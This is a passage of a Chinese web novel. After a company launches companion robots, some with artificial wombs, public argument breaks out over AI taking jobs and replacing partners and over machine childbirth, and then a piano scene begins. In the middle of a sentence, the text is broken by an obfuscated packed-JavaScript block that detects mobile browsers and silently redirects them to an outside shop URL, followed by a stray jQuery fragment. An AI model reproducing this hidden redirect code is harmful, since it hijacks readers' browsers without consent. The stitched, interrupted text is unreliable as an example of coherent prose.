纳维公司新品发布会之后，很快在公司官网上启动了预定，男女机器人同价，价格为16.9万，一夜之间已经达到了89万台的预定量。
而页面上显示，这两台机器人没有人造子宫，而装有人造子宫的机器人，暂时还未发起预定。
互联网铺天盖地都是宣传营销，与此同时，还有对人工智能的考虑和争议。
有一些人认为伴侣机器人出现，可以很好地解决了现实夫妻之间的矛盾，机器人伴侣什么都会顺着你，不会窥探你的隐私，不会干涉你的自由，不会让你生孩子，不会让你上交你的工资，也不会分你的财产，你可以为所欲为，对方还能给你生孩子。
而有一部分认为人工智能的发展，这已经不仅仅是打破传统婚姻制度的事了，而是他们会取代全人类，人类将会成为被淘汰的对象。
如果机器人通过大量学习产生自我意识，觉得人类不如自己的时候，那么人类还有什么生存的余地？机器人拥有全世界所有的知识，人类怎么打得过？
甚至有一种言论称，人类会成为机器人的奴隶，人类最后活着唯一的意义就是维护机器人，而其他所有的职业都被机器人取代，哪怕是艺术家、文学家，他们的作品都被大量了喂了AI。
随着这样的趋势发展，人类将丧失自己存在的意义，只为了机器人存在。
现在已经有了这种趋势，机器人替取代了许多职位，甚至是医生、律师这类精英的职位。
流水线员工、程序员、插画师、司机等等，这些职业以肉眼的可见的速度在被替代。
纳维公司的医疗机器人，已经投入使用，A国目前建立了两家AI医院试点，诊断准确率高达99%，比世界上最顶级的医生都要优秀，它可以同时为多个患者进行治疗，在极短的时间内得出结论，并且进行后期的追踪维护，遇到脾气再差的病人也不会急眼。
为此，已经有医生发出了抗议。
就在纳维科技新品发布会，两个仿真机器人出现在大众面前，取代了人类现实中的亲密伴侣时，终于有人发起了抗议和抵制。
这些人群之中既有普通人，也有精英人士，包括医生律师、艺术家、作家。
这一系列的科技大爆发，引发了一波思考。
而且机器人会生孩子这一点，也引起了激烈讨论。如果利用装有人造子宫的机器人生孩子，而抛弃传统的生育孩子的方式，将会淡化人与人之间的情感连接，孩子就像一台机器里面制造出的物品，而不是从自己身上掉下来一块肉，即便是自己生的孩子，遗弃率已经够多，更别说用机器代替生子。
于是，又有一波人上街反对机器人生孩子，坚持捍卫生育权，认为怀孕和分娩是自然赋予女性的能力，是女性独特的能力和母性的象征。机器人生孩子，会削弱这种特殊身份，导致女性的生育能力被技术替代，从而剥夺了女性在这一过程中的尊严和价值。
而且机器人生孩子会导致社会对母职的重视程度降低。母亲的角色和身份在很多文化中都与生育和抚养子女紧密相关，如果生育过程可以通过技术手段完成，会导致社会对母亲的角色和贡献的认识发生变化，甚至可能影响女性在社会中的地位，家庭主妇不再被社会尊重，法律会削弱对家庭妇女的保护，毕竟这个世界不是人人都是女强人。
还有人担心机器人生孩子将来可能导致女性身体自主权的丧失。在某些情况下，女性可能会因为社会压力，被迫使用机器人的人造子宫进行生育，违背了她们的个人意愿和选择，这种情况会加剧对女性身体的控制和干涉，侵犯了女性的生育自主权。
反对者还指出，机器人生子技术的推广可能会加剧社会不平等，技术的使用可能需要大量的资金和资源，导致只有富人才能享受到这项技术的便利，从而加剧了社会中的不平等现象。
此外，机器人生子还可能引发一系列伦理问题，如代孕、基因编辑等，这些问题可能会对人类社会产生深远的影响。
可是有反对，也有支持，有大量人群支持机器人利用人造子宫生子，他们认为生育是对女性的剥削，不是女性的能力和优势，更不是价值，有了人造子宫之后，女性就不用被剥削。
机器人的人造子宫可以为那些因各种原因无法自然怀孕的女性提供生育机会、减轻怀孕和分娩的痛苦和风险、提高生育安全性和婴儿健康、促进性别平等和女性解放。这将改变传统性别角色和分工，促进男女在家庭和社会中的平等地位，女性可以更好地平衡家庭和职业生涯，避免因生育而中断或影响个人发展。
有些支持者甚至讽刺，有些女人自己没本事当女强人，只能当家庭主妇，就不要怪机器人剥夺了社会对母亲和主妇的重视程度，社会本来就不应该重视家庭主妇，她们对社会没有贡献，是没有价值的群体，活在父权之下，就该被轻视。那些不追求权力和事业的女人，都是没有野心的弱女人，只顾着家庭和爱情，不符合女权价值，注定被鄙视，只有强大的大女人，才有女性价值，才应该被尊重。
支持者还认为，机器人生子也可以应对人口老龄化和生育率下降，帮助提高生育率，缓解人口结构问题，为社会提供更多的劳动力资源。
而反对者会将这些支持者的言论一一驳回。
反对者认为，支持者对个体生命没有尊重，只把人当成一种消耗品、电池、人矿，而不是有尊严的生命体，这是一种极端的达尔文主义，弱肉强食的野蛮思想。
而轻视母亲和主妇群体的人，他们自己本身就不尊重女性这个群体，为了追求所谓的自由和强大，抛弃作为母亲或者父亲的责任，甚至侮辱女性的特征，要求女人必须强大，做大女人，他们口口声声喊着女权，要消灭父权，可是却没有意识到他们正在被传统父权所灌输的思想影响。大女人
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13678109|131817||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
的对面就是大男人，本质上是把男人的强定义为强，垄断了强大的定义，女人要向男人看齐，这些人兜兜转转，最终认可的还是男人，是强大的父权力量，而不是女性。
反对者更指出，母亲和家庭主妇对这个世界的贡献也是庞大的，只有极端肤浅的人才认为她们没有贡献，剥夺践踏她们的价值。
机器人的人造子宫可以代替女性生育的痛苦和风险，女性可以不用再管家庭，的确是有一定道理，可是即便在传统的社会关系中，孕育子女也是夫妻双方共同的责任，而且现实中很多男性已经淡化自己的责任，一旦机器人代替了现实中的人，成为伴侣，孕育子女，父母都可以撇清自己的责任，将孩子交给机器人，那本质上还是丧偶式婚姻，只不过换成了机器人丧偶，其中一方只顾着享受，不想负责，孩子会缺乏父爱或母爱。甚至可能发展到父母双方都是机器人，那人类还有什么存在的意义？
至于降低人口老龄化，用机器人生育更多的劳动人口，那这些劳动人口能做什么？维护机器人吗？职业都被机器人替代了，还要那么多人干什么？
人口老龄化，不是因为人类生不出来孩子，而是因为人类不愿意生，生了养不起，又或者不想承担相关责任。如果机器人生子被有钱人垄断，那么社会将加剧分裂，如果没有垄断，可以轻易得到，随便让不负责任的父母轻松有孩子，那将是孩子的悲哀。
总之，这场关于机器人生子的争论，在互联网上争论不休，双方都觉得自己占据了真理的制高点。
也有人干脆躺平了，觉得人类毁灭算了，不婚不育，天下太平。
管他机器人的人造子宫，还是人类自然生育，他们通通都不生，就把地球让给机器人。
在不断的争论之中，纳维智科公司市值暴涨至2.7万亿美元。
＊
阳光如同细密的金线，柔和地穿过窗帘的缝隙，散布在乐室里。
乐室内有十几种乐器，或在乐架上，或放在地上，偌大的空间十分敞亮。
翟仲廷的身影被阳光映衬得格外耀眼，一身剪裁得体的黑色西装，衬出他挺拔的身姿，他优雅地坐在一架古典钢琴前，手指修长如玉，随着琴键轻巧而精准地跳动，发出清脆空灵的乐音。
每一个音符仿佛都经过了深思熟虑的精心编排，旋律在空气中缠绕，他的双眸深邃如暗夜，目光如冷潭般阴森，让人不由自主地感到一股隐隐的恐惧，微微上翘的嘴角勾出一抹冷峻的笑容，似暗含无形的利刃，穿透一切伪装。
乐室里缠绕着不安与威胁，让人不禁心生寒意。
苏里一身白色的洋裙，扎着马尾，蹦蹦跳跳地走了进来，她站在钢琴前默默地看着翟仲廷弹琴，闭上眼睛一脸享受。
翟仲廷转过头给女管家使了个眼色。
女管家走上前，弯下腰。
翟仲廷说：“继续弹。”